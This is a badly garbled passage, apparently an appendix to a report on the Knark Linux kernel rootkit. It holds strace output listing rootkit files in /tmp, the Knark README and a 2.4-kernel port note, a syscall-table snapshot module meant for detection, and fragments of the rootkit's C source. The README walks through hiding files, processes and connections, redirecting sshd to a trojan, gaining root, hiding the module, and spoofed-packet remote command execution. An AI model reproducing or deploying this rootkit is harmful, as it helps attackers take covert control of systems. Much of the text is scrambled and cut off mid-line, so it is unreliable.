connect(3, {sin_family=AF_UNIX, path="       
/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or di
close(3)                                = 0 
open("/etc/nsswitch.conf", O_RDONLY)    = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=1744, ...}) = 0 
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MA
1, 0) = 0x40021000 
read(3, "#\n# /etc/nsswitch.conf\n#\n# An ex"..., 4096) = 1744
read(3, "", 4096)                       = 0 
close(3)                                = 0 
munmap(0x40021000, 4096)                = 0 
open("/etc/ld.so.cache", O_RDONLY)      = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=49641, ...}) = 0 
 3, 0) = 0x4019f0old_mmap(NULL, 49641, PROT_READ, MAP_PRIVATE,
close(3)                                = 0 
open("/lib/libnss_files.so.2", O_RDONLY) = 3 
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\360 \0"
1024) = 1024 
fstat64(3, {st_mode=S_IFREG|0755, st_size=38580, ...
old_mmap(NULL, 41960, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3
0x401ac000 
mprotect(0x401b6000, 1000, PROT_NONE)   = 0 
old_mmap(0x401b6000, 4096, PROT_READ|PROT_WRITE, MAP_
3, 0x9000) = 0x401b6000 
close(3)                                = 0 
munmap(0x4019f000, 49641)               = 0 
open("/etc/passwd", O_RDONLY)           = 3 
shmat(3, 0x1, 0x1ptrace: umoven: Input/output error 
)                      = ? 
shmat(3, 0x1, 0x2ptrace: umoven: Input/output error 
)  
fstat64(3, {st_mode=S_IFREG|0644, st_size=1730, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON
1, 0) = 0x40021000 
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 173
close(3)                                = 0 
munmap(0x40021000, 4096)                = 0 
socket(PF_UNIX, SOCK_STREAM, 0)         = 3 
connect(3, {sin_family=AF_UNIX, path="                     
/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or d
close(3)                                = 0 
open("/etc/group", O_RDONLY)            = 3 
 138
shmat(3, 0x1, 0x1ptrace: umoven: Input/output error 
)                      = ? 
shmat(3, 0x1, 0x2ptrace: umoven: Input/output error 
)                      = ? 
fstat64(3, {st_mode=S_IFREG|0644, st_size=788, ...}) = 0 
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
P_PRIVATE|MAP_ANONYMOUS, -
 
4096)                = 0 
, 0x2ptrace: umoven: Input/output error 
E|MAP_ANONYMOUS, -
 = 1730 
n("/etc/group", O_RDONLY)            = 3 
1, 0x2ptrace: umoven: Input/output error 
OT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
021000, 4096)                = 0 
(3, 0x1, 0x1ptrace: umoven: Input/output error 
at64(3, {st_mode=S_IFREG|0644, st_size=1730, ...}) = 0 
 -
0021000 
group", O_RDONLY)            = 3 
1, 0) = 0x40021000 
read(3, "root:x:0:root\nbin:x:1:root,bin,d"..., 4096) = 788 
close(3)                                = 0 
munmap(0x40021000, 4096)                = 0 
open("/etc/localtime", O_RDONLY)        = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=1267, ...}) = 0 
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MA
1, 0) = 0x40021000 
read(3, "TZif\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\0\0\0\4\0"...,
4096) = 1267 
close(3)                                = 0 
munmap(0x40021000, 
open("/etc/passwd", O_RDONLY)           = 3 
shmat(3, 0x1, 0x1ptrace: umoven: Input/output error 
)                      = ? 
shmat(3, 0x1
)                      = ? 
fstat64(3, {st_mode=S_IFREG|0644, st_size=1730, ...}) = 0 
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVAT
1, 0) = 0x40021000 
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096)
close(3)                                = 0 
munmap(0x40021000, 4096)                = 0 
ope
shmat(3, 0x1, 0x1ptrace: umoven: Input/output error 
)                      = ? 
shmat(3, 0x
)                      = ? 
fstat64(3, {st_mode=S_IFREG|0644, st_size=788, ...}) = 0 
old_mmap(NULL, 4096, PR
1, 0) = 0x40021000 
read(3, "root:x:0:root\nbin:x:1:root,bin,d"..., 4096) = 788 
close(3)                                = 0 
munmap(0x40
open("/etc/passwd", O_RDONLY)           = 3 
shmat
)                      = ? 
shmat(3, 0x1, 0x2ptrace: umoven: Input/output error 
)                      = ? 
fst
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
1, 0) = 0x4
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1730 
close(3)                                = 0 
munmap(0x40021000, 4096)                = 0 
open("/etc/
shmat(3, 0x1, 0x1ptrace: umoven: Input/output error 
)                      = ? 
shmat(3, 0x1, 0x2ptrace: umoven: Input/output error 
)                      = ? 
fstat64(3, {st_mode=S_IFREG|0644, st_size=788, ...}) = 0 
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old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
1, 0) = 0x40021000 
read(3, "root:x:0:root\nbin:x:1:root,bin,d"..., 4096) = 788 
close(3)                                = 0 
munmap(0x40021000, 4096)                = 0 
open("/etc/passwd", O_RDONLY)           = 3 
 error 
, ...}) = 0 
,bin,d"..., 4096) = 788 
    = 0 
196 
     root         4096 May 12 20:46 .. 
y 13 16:01 .ICE-unix 
y 12 20:24 .font-unix 
y 14 02:02 .hideme 
king.tgz 
 
y 10 22:54 ksocket-
y 14 00:12 ksocket-feiliu 
y 10 20:42 ksocket-root 
xconf-
y 10 20:55 mcop-feiliu 




               = ? 
shmat(3, 0x1, 0x1ptrace: umoven: Input/output error 
)                      = ? 
shmat(3, 0x1, 0x2ptrace: umoven: Input/output
)                      = ? 
fstat64(3, {st_mode=S_IFREG|0644, st_size=1730, ...}) = 0 
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
1, 0) = 0x40021000 
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1730 
close(3)                                = 0 
munmap(0x40021000, 4096)                = 0 
open("/etc/group", O_RDONLY)            = 3 
shmat(3, 0x1, 0x1ptrace: umoven: Input/output error 
)                      = ? 
shmat(3, 0x1, 0x2ptrace: umoven: Input/output error 
)                      = ? 
fstat64(3, {st_mode=S_IFREG|0644, st_size=788
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
1, 0) = 0x40021000 
read(3, "root:x:0:root\nbin:x:1:root
close(3)                                = 0 
munmap(0x40021000, 4096)            
write(1, "total 1196\ndrwxrwxrwt   11 root "..., 1371total 1
drwxrwxrwt   11 root     root         4096 May 14 02:02 . 
drwxr-xr-x   18 root
drwxrwxrwt    2 root     root         4096 Ma
-r--r--r--    1 root     root           11 May 13 15:59 .X0-lock 
drwxrwxrwt    2 root     root         4096 May 13 15:59 .X11-unix 
drwxrwxrwt    2 xfs      xfs          4096 Ma
drwxr-xr-x    2 root     root         4096 Ma
-rw-r--r--    1 root     root      1074303 May 13 13:14 hac
drwx------    2 feiliu   feiliu       4096 May 13 16:01 kde-feiliu 
-rw-r--r--    1 root     root        57213 May 13 16:24 knark-2.4.3.tgz
-rw-r--r--    1 root     root        14136 May 14 01:41 knark.o 
drwx------    2 Wolverin Wolverin     4096 Ma
Wolverine 
drwx------    2 feiliu   feiliu       4096 Ma
drwx------    2 root     root         4096 Ma
-rw-r--r--    1 root     root           53 May  9 11:49 linu
rpminstall.log 
drwx------    2 feiliu   feiliu       4096 Ma
-rw-r--r--    1 root     root         1320 May
-rw-------    1 feiliu   feiliu        528 May 12 23:55 
nsform3AFE0594
-rw-------    1 root     root            0 May 12 20:24 sess
-rw-r--r--    1 root     root         1620 May 14 00:45 syscall.o
) = 1371 
close(1)                                = 0 
munmap(0x40020000, 4096)                = 0 





C.4:  Readme 
 
  Knark v0.59 by Creed @ #hack.se 
     email: creed@sekure.net 
 
 
. Knark is a kernel-based rootkit for Linux 2.2
 
No part of knark may be used to break the law, or to cause damage of 
adable kernel-




 client-program rexec. 
 all depend on 
dev/kmem directly): 
won't be shown by ls or 
u don't have to 
/knark/files 
. 
hich makes directory trees 
any 
kind. And I'm not responsible for anything you do with it. 
 
 
The heart of the package, knark.c, is a Linux lkm (lo
module). 
Type "make" to compile knark and the programs include
"insmod knark" 
to load the lkm. When knark is loaded, the hidden director
is 
created. The following files are created in this directory: 
 
nner :-) author  shameless self-promotion ba
files  list of hidden files on the syste
nethides list of strings hidden in /proc/n
pids  list of hidden pids, ps-like output 




Changes since v0.50: 
Added remote command execution, and added the
 
 
ded in the package (theyThese are the programs inclu
knark.o 
khack.c which modifies /to be loaded, except for tas
 
 
hidef Used to hide files on the system. 
 Create your hax0r-directory /usr/lib/.hax0r, and type: 
 ./hidef /usr/lib/.hax0r 
 Now this directory will be hidden, and 
du. 
 Subdirs and files will be hidden as well, so yo
 in this directory.  hidef anything you put
 
 
unhidef Used to unhide hidden files. You can cat /proc
if you've 
 forgotten which files you've hidden. Type: 
 ./unhidef /usr/lib/.hax0r 
y visible again to make your previously hidden director
 However, there is a bug in the module w
 141
 start from their mount-point. This means, if you have a 
ret, this file 
d. 
trojan, and type: 
d_trojan 
bin/sshd is supposed to be executed, your 
ar all exec-
/tcp and /proc/net/udp. 
pe: 
/from port ABCD hex (43981 dec). This will 
|udp]. 
p|udp] to use 
your box. 
Foreign Address  State 
localhost:1023   
dress   blablabla... 
0:00000000 
hide everything about ip-address 127.0.0.1, we have 









 mounted to /mnt, and you hide the file /mnt/sec
will 





ered Used to configure exec-redirection. 
 Copy your sshd trojan to /usr/lib/.hax0r/sshd_
 ./ered /usr/local/sbin/sshd /usr/lib/.hax0r/ssh
 Now, when /usr/local/s
 trojan program will be executed instead. To cle
redirection 
 entries, type: 
 ./ered -c 
 
 
nethide Used to hide strings in /proc/net
This is 
 where netstat gets it's information. Ty
 ./nethide ":ABCD " 
 to hide connections to
 "grep -v" the line ":ABCD " from /proc/net/[tcp
 You have to understand the output from /proc/net/[tc
 this program. Lets say that you have sshd running on 
 Connect to localhost port 22, and type: 
 netstat -at 
 One of the lines looks like this: 
 Proto Recv-Q Send-Q Local Address      
 tcp        0      0 localhost:ssh      
ESTABLISHED 
 And now, lets check /proc/net/tcp. Type: 
 cat /proc/net/tcp 
 One of the lines looks like this: 
   local_address rem_ad
 0:0100007F:0016 0100007F:03FF 01 00000000:00000000 0
00000000 
 If we want to 
to 
 translate it to this format. Start with
00 
 in hex, which gives us 007F. And 0 again: 00007F, and at la
 which gives us the number 0100007F. Now, if we want t
 everything about port 22 and ip-address 127.0.0.1 it l
this: 
 0100007F:0016 (0016 is port 22 in hex). So, typing: 
 ./nethide "0100007F:0016" will hide connections to/from local
 port 22, and typing: 
 ./nethide ":ABCD " will remove all lines containing ":ABCD 
It's 
 like "grep -v". Do you get it? :-) 
 
 
rootme Used to gain root-access without using suid programs.
 ./roo
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 to execute /bin/sh with root-privs. This will also work: 
 ./rootme /bin/ls -l /root 




 1 S    15:31   0:00 -bash 
 process to 0 (root). 
ps aux | grep bash 
root (!)    91  0.0  1.3  1424   824   1 S    15:31   0:00 -bash 
Isn't this just great? :-). 
 
is w m www.microsoft.com:53 to 
xore haxored.server.nu to /bin/touch 
/LUDER. If you wan't to try this on localhost, don't specify a 
 
 will be 
ans, hat i  all commands you 
nt n, and you've 
th e you a ps-
iffers sets the network interface in promiscious mode, and many 
ll show the IFF_PROMISC flag when SIOCGIFFLAGS is requested. Hiding 
aded, it removes the latest loaded module from the module list, thus 
om /proc/modules. Type: 
 
taskhack Used to change *uid's and *gid's of running processes. Typ
 ./taskhack -alluid=0 pid 
 This will change all *uid's (uid, euid, suid, fsuid) of process 
 "pid" to 0 (root). Type: 
 ps aux | grep bash 
 creed       91  0.0  1.3  1424   824  
 Now, we want to change the euid of this
Type: 





rexec Used to execute commands remotely on a knark-server. Type: *
* ./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER 
* Th ill send a spoofed udp packet fro
* ha d.server.nu:53, which tells 
* 
* spoofed address different from your own, since the kernel won't 
* accept it. 
* ./rexec localhost localhost /bin/touch /LUDER 
* will do it for you. 
 
(* = newly added thing) 
 
 
And knark has eaven more features than this: 
sending signal 31 to a process will hide it's directory in /proc,
making 
it invisible to ps and top. Type: 
kill -31 pid 
If this process fork's or clone's, all childs of the process
hidden. 
This me t f you hide your shell with kill -31,
issue will be invisible. That's neat :-). 
If you w to make a process visible again for a some reaso
forgotten e pid, just cat /proc/knark/pids. This will giv
like 








sniffer with signal 31 is also recommended. 
 
This package includes another lkm than knark; modhide. When modhide is 
lo
hiding it from lsmod, and removing it fr
insmod knark 
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lsmod | grep knark 
knark                   6640   0  (unused) 
insmod modhide 
(erro  messages) r
aref
nce it can't be removed with normal methods, like rmmod. 
 the s some 
nd 
 bug fine, 
s not a bug-free release. Please let me know if you find things 
 
cnet
sample 2.4 module codes and Knark.59 ported 
 really nasty not to provide any protection 
n such kind of distribution, so in the 
ark-2.4.3 directory, you can find a syscall module. This syscall 




                       * 
o with this code. It is for  * 
educ .* 
     * 
******** 
lsmod | grep knark 
*noting* 
 
But be c ul, you might have to reboot to get rid of knark if you 
load 
modhide, si
Have fun. And stay out of trouble. 
 
By  way, I don't recommend you to unload the module, there i
ki
of  that can make strange things happen. Sometimes it works 
sometimes 








Ir  and EFNet: Creed (or Creed_ or something like that) @sekure.net 
 
C.5:  Readme.cyberwinds 
 
This package includes some 
 it isto kernel 2.4. I feel
dule against knark imo
kn
module can take a snapshot of all the syscall addresses in current 
system. By doing so, you can create a syscall addresses copy after a 
efresr h installation and use this copy to validate
integrity later on. 
 




                        *                      
 I am*  not responsible for whatever you d
* ational purpose only!!! If you are busted, it is your own fault







1. 2.4 kernel support 
   *) The /proc filesystem stuff has to be completely rewritten 
because of kernel migration from 2.2 to 2.4. /proc node registration 
and cleanup code is completely different. There is no longer shortcut 
to identify /proc/net/tcp and /proc/net/udp--that were statistically 
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set in 2.2 kernel. 
   *) The 2.4 kernel uses getdents64 to identify a dentry. As a 
   *) diff knark.c.2.2 knark.c will show all the changes made to the 
module to work on kernel 2.4 
re , sys_getdents64 has to be intercepted and new data ssult
 mod y module. 
ation. 
.6:  Syscall.c 
gcc lude - 
 # I






 use the proc fs 
clu
s" 
tern void *sys_call_table[]; 
tructures 
are introduced. 
2. hide can hide arbitrar







.c - I / usr / src / linux / inc * - O2 - c get_sys_call_addr
fomit -frame - pointer  
nstall:  *
 *
 **After install, copy / proc / syscall to some safe place.When you 
uspec mpare the / proc / syscall to your s t * LKM was installed, co
original copy.If * they are different, probably LKM was installed. * 
 is: *T ormat of / proc / syscall














#include <sys/syscall.h> /* The list of system calls */ 
t.h> #include <linux/diren
#include <linux/proc_fs.h> /* Necessary because we
*/ 





/*   
 * following "read" functions are used to provide information in  
 * /proc file system  
 */ 
static int 
read_sys_call_addr (char * buf, char ** start, off_t offset, int len, 
int * eof, 
        void * data){ 
  int i; 
  if(offset > 0) return 0; 
  len = sprintf (buf, "# system call addresses\n"); 
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  for (i = 0; i < NR_syscalls; i++){ 
    len += sprintf (buf + len, "%3d\t%x\n", i, (void 
*)(sys_call_table[i])); 
  } 
  //len+= sprintf(buf+len, "0\t%x\n", (void *)(sys_call_table[0])); 









 7 c01168a0 
c013500c 
  *start = buf; 
  *eof = 1; 






  struct proc_dir_en
S_IFREG|S_IRUGO, &proc_root); 
  if(ent == 0x0) 
    return -EINVAL
  ent->read_proc = r









  //proc_unregister (&proc_root, sys_call_addr.low_ino); 
} 
 





  2 c0105894 
  3 c012dc18 
4 c012dcdc   
  5 c012d834 
  6 c012d944 
 
  8 c012d8c8 
  9 c0139730 
 10 c013937c 
 11 c01058f4 
 12 c012cf90 
 13 c0116da8 
 14 c0138c0c 
 15 c012d2a4 
 16 c011e72c 
 17 c011c550 
 18 
 19 c012db20 
 20 c011aabc 
 21 c0133648 
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 22 c0133064 
 23 c011e834 
 24 c011ebe8 
 25 c0116df0 
 26 c01099fc 
 27 c011aa74 











 31 c011c550 
 32 c011c550 
 33 c012ce5c 
 34 c0111cec 
 35 c011c550 
 36 c012ec48 
 37 c011be08 
 38 c013a0e8 
 39 c0138e6c 
 40 c0139134 
 41 c013a918 
 42 c010b460 







 50 c011ec70 
 51 c01192cc 
  52 c0132f70
 53 c011c550 
 54 c013b07c 
 55 c013abb0 
 56 c011c550 
 57 c011d21c 
 58 c011c550 
c010b93c  59 
 60 c011dbfc 
 61 c012d124 
 62 c01325f0 
 63 c013a868 
 64 c011aac8 
 65 c011d344 
 66 c011d3a4 
 67 c0106168 
 68 c011c38c 
 69 c011c39c 
 70 c011e7f8 
 71 c011e7a8 
 72 c0105fe8 
 73 c011c150 
 74 c011d5a8 
 75 c011d7fc 
 76 c011d778 
 77 c011dbd0 
 78 c0116e58 
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 79 c0116f6c 
 80 c011eae8 



















 83 c013955c 
 84 c01350f0 
 85 
 86 c0135660 
 87 c012a8b0 
 88 c011c7
 8 c013b500 9 
 90 c010
 91 c0121540 
 92 c012c680 
 9
 94 c012d20c 
 95 c011e768 
 96 c011c6d0 
 97 
 98 c011c550 

































































































































































C.8:  Author_banner.c 
, part of the knark package 
ck.se 1999 <creed@sekure.net> 
y NOT be used in a legal way, 




(const char *progname) 
, 
by Creed @ #hack.se 1999 <creed@sekure.net> 
 by Cyberwinds@hotmail.com #irc.openprojects.net\n", 
); 
 the knark package 
ck.se 1999 <creed@sekure.net> 
y NOT be used in an illegal way, 












 * (c) Creed @ #ha
 * 
 * This program ma
 * or to not cause
 * 









    fprintf(stderr
     "\n\t%s 
\tPort to 2.4 2001
     progname
    return; 
} 
 
C.9:  Ered.c 
 
/* 
 * ered.c, part of
 * (c) Creed @ #ha
 *  
 * This program ma
 * or to cause dam
 *  
















    fprintf(stderr, 
n" 
rom> <to>\n" 
-c (clear redirect-list)\n" 
/usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan\n", 
, progname, progname); 




 || strcmp(argv[1], "-c")) 
gv[0]); 
day((struct timeval *)KNARK_CLEAR_REDIRECTS, 
(struct timezone *)NULL) == -1) 
settimeofday"); 
stderr, "Have you really loaded knark.o?!\n"); 
; 
. Redirect list is cleared.\n"); 
rgv[1]; 
v[2]; 
from, &st) == -1) 
"), exit(-1); 
.st_mode)) 
rr, "%s is not a regular file\n", er.er_from); 
 & S_IXUSR) 
rr, "%s is not an executable file\n", er.er_from); 
to, &st) == -1) 
"), exit(-1); 
.st_mode)) 
rr, "%s is not a regular file\n", er.er_to); 
     "Usage:\
     "\t%s <f
            "\t%s 
     "ex: %s 
     progname






    struct stat st
    struct exec_re
     
    author_banner(
     
    if(argc != 3) 
    { 
 if(argc != 2
     usage(ar
  
 if(settimeof
   
 { 
     perror("
     fprintf(




    } 
  
    er.er_from = a
    er.er_to = arg
     
    if(stat(er.er_
 perror("stat
     
    if(!S_ISREG(st
    { 
 fprintf(stde
 exit(-1); 
    } 
 
    if(~st.st_mode
    { 
 fprintf(stde
 exit(-1); 
    } 
     
    if(stat(er.er_
 perror("stat
     
    if(!S_ISREG(st




    } 
     
    if(~st.st_mode & S_IXUSR) 
rr, "%s is not an executable\n", er.er_to); 
y((struct timeval *)KNARK_ADD_REDIRECT, 
truct timezone *)&er) == -1) 
imeofday"); 
rr, "Have you really loaded knark.o?!\n"); 
%s -> %s\n", er.er_from, er.er_to); 
.10:  Hidef.c 
legal way, 
kind. 




nst char *progname) 
   fprintf(stderr, 
sage:\n" 
    "\t%s /usr/lib/.hax0r\n", 
    progname); 
    { 
 fprintf(stde
 exit(-1); 
    } 
     
    if(settimeofda
      (s




    } 
     
    printf("Done: 
    exit(0); 






hidef.c, part of the knark package  * 
 * (c) Creed @ #hack.se 1999 <creed@sekure.net> 
 *  
This program may NOT be used in an il * 
 * or to cause damage of any 

















     "U
 
 




int main(int argc, char *argv[]) 
{ 
    int fd, len, hidef=0; 
 153
    char *avp; 
.c"); 
[0]); 
]+len-1; avp > argv[0] && *avp != '/'; avp--); 
 
   
f", avp)) 
hidef++; 
  else if(strcmp("unhidef", avp)) 
 if( (fd = open(argv[1], O_RDONLY)) == -1) 
perror("open"), exit(-1); 
   
, 






on heroin.c by Runar Jensen, so credits goes to 
major changes have 
, so this isn't the same piece of code anymore. 
 be used in an illegal way, 
any kind. 
 %u unsigned int %lu unsigned 
     
    author_banner("hidef
     
    len = strlen(argv
    for(avp = argv[0
    if(*avp == '/')
 avp++; 
  
    if(!strcmp("hide
 
  
    { 
 fprintf(stderr, "argv[0] is neither \"hidef\" nor 
\"unhidef\"\n"); 
 exit(-1); 
    } 
     
    if(argc != 2) 
 usage(argv[0]); 
     
   
 
  




ose(fd);     cl
     
    ex
} 
 
C.11:  Knark.c 
 
* /
 * knark.c, part of the knark package 
ck.se 1999 <creed@sekure.net>  * (c) Creed @
* Por ted to kernel 2.4 2001 by cyb
#irc.openprojects.net 
 *
s based  * This lkm i
im. h
offered quite few features, and  * Heroin.c however 
been 
 made *
 *  
NOT * This program/lkm may 
 to cause damage of  * or
 *  
 * See README for more info. 
r the curious: %hu unsigned short * Fo














 PF_INVISIBLE 0x10000000 
e PROC_NET_TCP "tcp" 
 linux_dirent { 
   unsigned long   d_ino; 
       unsigned long   d_off; 
ned short  d_reclen; 
           d_name[1]; 
n void *sys_call_table[]; 
int, getdents, uint, fd, void *, dirp, uint, 
l3(int, getdents64, uint, fd, void *, dirp, uint, 
ll2(int, kill, int, pid, int, sig); 
ll3(int, ioctl, unsigned int, fd, unsigned int, 
arg); 































#define PROC_NET_UDP "udp" 
 
struct
     
 
        unsig
       char  
}; 
struct linux_dirent64 { 
        u64             d_ino; 
    s64             d_off;     
        unsigned short  d_reclen; 
        unsigned char   d_type; 











d, unsigned long, cm
st
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static inline _syscall1(int, clone, int, regs); 
meofday, struct timeval *, tv, struct 
ezone *, tz); 
mlin (unsigned int, void *, unsigned 
t); 
mlin inal_getdents64)(unsigned int, void *, unsigned 
linkage long (*original_kill)(int, int); 
mlinkage ssize_t (*original_read)(unsigned int, char *, size_t); 
(unsigned int, unsigned int, unsigned 
linkage int (*original_fork)(struct pt_regs); 
lone)(struct pt_regs); 
*original_execve)(struct pt_regs); 
kage long (*original_settimeofday)(struct timeval *, struct 





, int, long); 
ark_read(int, char *, size_t); 
_regs regs); 
age long knark_settimeofday(struct timeval *, struct timezone 
; 
or(char * err_msg); 
rk_atoi(char *); 










direct(struct exec_redirect *); 
irect_path(char *); 
r_redirects(void); 
t knark_read_pids(char *, char **, off_t, int, int *, void *); 
_files(char *, char **, off_t, int, int *, void *); 
_redirects(char *, char **, off_t, int, int *, void *); 
knark_read_nethides(char *, char **, off_t, int, int *, void *); 
off_t, int, int *, void *); 
 int *, void 
rexec(struct file *, const char *, u_long, void 
#endif /*FUCKY_REXEC_VERIFY*/ 
static inline _syscall2(int, setti
tim
 
as kage long (*original_getdents)
in





























int knark_hide_file(struct inode *, struct dent














int knark_read_author(char *, char **, 
#ifdef FUCKY_REXEC_VERIFY 






int knark_do_exec_userprogram(void *); 
int knark_execve_userprogram(char *, char **, char **, int); 
//int knark_udp_rcv(struct sk_buff *, unsigned short); 
int knark_udp_rcv(struct sk_buff *); 
struct inet_protocol * original_udp_protocol; 
rrno; 
y 
stem. I found it confusing that proc_roo.rdev shows major 0 minor 
as its 
 device signature. 
v = 0; 







  char *d_name[MAX_SECRET_FILES]; 





 * Use a different major or minor number if you found knark completel














    struct redirect_list *next;
    struct exec_redirect rl_er; 





    struct nethide_list *n
    char *nl_hidestr; 
= NU} *knark_nethide_list 
 
 
struct knark_dev_struct { 
    kdev_t d_dev; 
    int d_nfiles; 





struct knark_fs_struct { 





struct execve_args { 
    char *path; 
    char **argv; 





struct proc_dir_entry * knark_dir; 
struct proc_dir_entry * knark_pids; 
ct proc_dir_entry * knark_filesstru ; 
edirects; 
thides; 
ruct proc_dir_entry * knark_author; 
oc_dir_entry * knark_verify_rexec; 
  0, 
MP" 
  while (*str) 
gned int num) 
 char *str2) 
struct proc_dir_entry * knark_r







struct inet_protocol knark_udp_protocol = 
{ 
    &knark_udp_rcv, 
    NULL, 
    NULL, 
    IPPROTO_ICMP, 
  
    NULL, 
    "IC
}; 
 
unsigned int knark_error(char * err_msg){ 




int knark_atoi(char *str) 
{ 
    int ret = 0; 
 
  
    { 
        if(*str < '0' || *str > '9') 
            return -EINVAL; 
        ret *= 10; 
        ret += (*str - '0'); 
        str++; 
    } 




void knark_bcopy(char *src, char *dst, unsi
{ 
    while(num-- > 0) 




int knark_strcmp(const char *str1, const
{ 
    while(*str1 && *str2) 
 if(*(str1++) != *(str2++)) 
     return -1; 





ruct task_struct *knark_find_tast sk(pid_t pid) 
 while(current != task); 
  if(pid < 0) return 0; 
k = knark_find_task(pid)) == NULL) 
  return 0; 
ask = find_task_by_pid(pid)) == 0x0) 
id_t pid) 
 if( (task = knark_find_task(pid)) == NULL) 
 
  return 1; 
 *knark_add_secret_dev(kdev_t dev) 
  int current_dev = kfs->f_ndevs; 
  int ndevs = kfs->f_ndevs; 
 **kds = kfs->f_dev; 
_SECRET_DEVS) 
{ 
    struct task_struct *task = current; 
 
    do { 
 if(task->pid == pid) 
     return task; 
 task = task->next_task; 
    }
     




int knark_is_invisible(pid_t pid) 
{ 
    struct task_struct *task; 
     
  
     
    if( (tas
    
    // use a kernel func instead :) 
    //    if( (t
    //      return 0; 
    if(task->flags & PF_INVISIBLE) 
 return 1; 
     






  struct task_struct *task;   
     
   
 return 0; 
     
    task->flags |= PF_INVISIBLE;









    struct knark_dev_struct
     
    if(ndevs >= MAX
 return NULL; 
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    kds[current_dev] = (struct knark_dev_struct *) 
alloc(sizeof(struct knark_dev_struct), GFP_KERNEL); 
  if(kds[current_dev] == NULL) 
urrent_dev]->d_nfiles = 0; 
  memset(kds[current_dev]->d_inode, 0, MAX_SECRET_FILES * 
zeof(ino_t)); 






  }     





 kds = knark_get_secret_dev(dev); 
  nfiles = kds->d_nfiles; 
  for(i = 0; i < nfiles; i++) 
 inode) 
    return 1; 
e, struct dentry *entry) 
eptr[16]; 
_dev_struct *kds; 




 return NULL; 
     
    kds[current_dev]->d_dev = dev; 
    kds[c
  
si
    memset(kds[current
*)); 
    kfs->f_ndevs++
     






    int ndevs = kfs->f_ndevs; 
    struct knark_dev_struct **kds = kfs->
    int i; 
     
    for(i = 0; i < ndevs; i++){ 
      if(kds[i]->d_dev == dev) 
 
  






    int 
    int nfi
    struct k
    
   
    if(kds == NULL) 
 return 0; 





     
  return 0;   
} 
 
int knark_hide_file(struct inode *inod
{ 
    char *name, *nam
    int i, len, namelen = 0; 
    struct knark
    ino
    kdev_t dev = 
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    if(knark_secret_file(ino, dev)) 
_dev(dev); 
     if(kds == NULL) 
          return -1; 
  } 
>= MAX_SECRET_FILES) 
  kd ino; 
 
memset(nameptr, 0, 16*sizeof(char *)); 
for(i = 0; i < 16 && entry->d_name.len != 1 && entry-
_name.name[0] != '/'; i++) 
    entry = entry->d_parent; 
he '/'s :) 
_nfiles] = kmalloc(namelen, GFP_KERNEL); 
_nfiles]; 
 
ameptr[i]; i++) ; 
for(i--; i >= 0; i--) 
{ 
    len = strlen(name); 
    strcpy(&name[len+1], nameptr[i]); 
struct inode *inode) 
 int nfiles; 
  struct knark_dev_struct *kds; 
  ino_t ino = inode->i_ino; 
  
dev)) 
(kds == NULL) 
        return -1; 
 
 kds = knark_get_secret_dev(dev);    
    if(kds == NULL) { 
        kds = knark_add_secret




    else if(kds->d_nfiles 
        return -1; 
  s->d_inode[kds->d_nfiles] = 
     





     nameptr[i] = (char *)entry->d_name.name; 
     namelen += entry->d_name.len; 
 
 } 
 namelen += i + 1; // t
 kds->d_name[kds->d
 name = kds->d_name[kds->d
 name[0] = '\0'; 
 




     name[len] = '/'; 
 
 } 
    } 
     
se     el
 kds->d_name[kds->d_nfiles] = NULL; 
 






    int i; 
   
  
  
    kdev_t dev = inode->i_dev; 
   
    if(!knark_secret_file(ino, 
 return -1; 
     
cret_dev(dev);     kds = knark_get_se
    if
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        return -1; 
 
    nfiles = kd
 for(i = 0;
s->d_nfiles; 
 i < nfiles; i++) 
      if(kds->d_inode[i] == ino) 
  { 
; 
les - 1]); 
irp, unsigned 
 *curr; 
(fd, dirp, count); 
 if(ret <= 0) return ret; 
  dinode = current->files->fd[fd]->f_dentry->d_inode; 
  
OT_INO && MAJOR(dinode->i_dev) == 
(dinode->i_dev) == proc_minor_dev) 
+; 
et) 
= (struct dirent *)ptr; 
       knark_is_invisible(knark_atoi(curr->d_name)))) || 
    knark_secret_file(curr->d_ino, dev)) 
    if(curr == dirp) 
curr->d_reclen; 
>d_reclen, ptr, ret); 
 continue; 
clen += curr->d_reclen; 
   
  
  
        kds->d_inode[i] = kds->d_inode[nfiles - 1]; 
        kds->d_inode[nfiles - 1] = 0
 if(kds->d_name[nfiles - 1]) 
     kfree(kds->d_name[nfi
        return --kds->d_nfiles; 
    } 
 
    return -1; 
} 
 
asmlinkage long knark_getdents(unsigned int fd, void *d
int count) 
{ 
    int ret; 
    int proc = 0; 
    struct inode *dinode; 
    char *ptr = (char *)dirp; 
    struct dirent
    struct dirent *prev = NULL; 
    kdev_t dev; 
 
 
    ret = (*original_getdents)
   
 
  
    dev = dinode->i_sb->s_dev; 
   
    if(dinode->i_ino == PROC_RO
proc_major_dev && 
       MINOR
proc+ 
     
    while(ptr < (char *)dirp + r
    { 
 curr 
 





     { 
  ret -= 
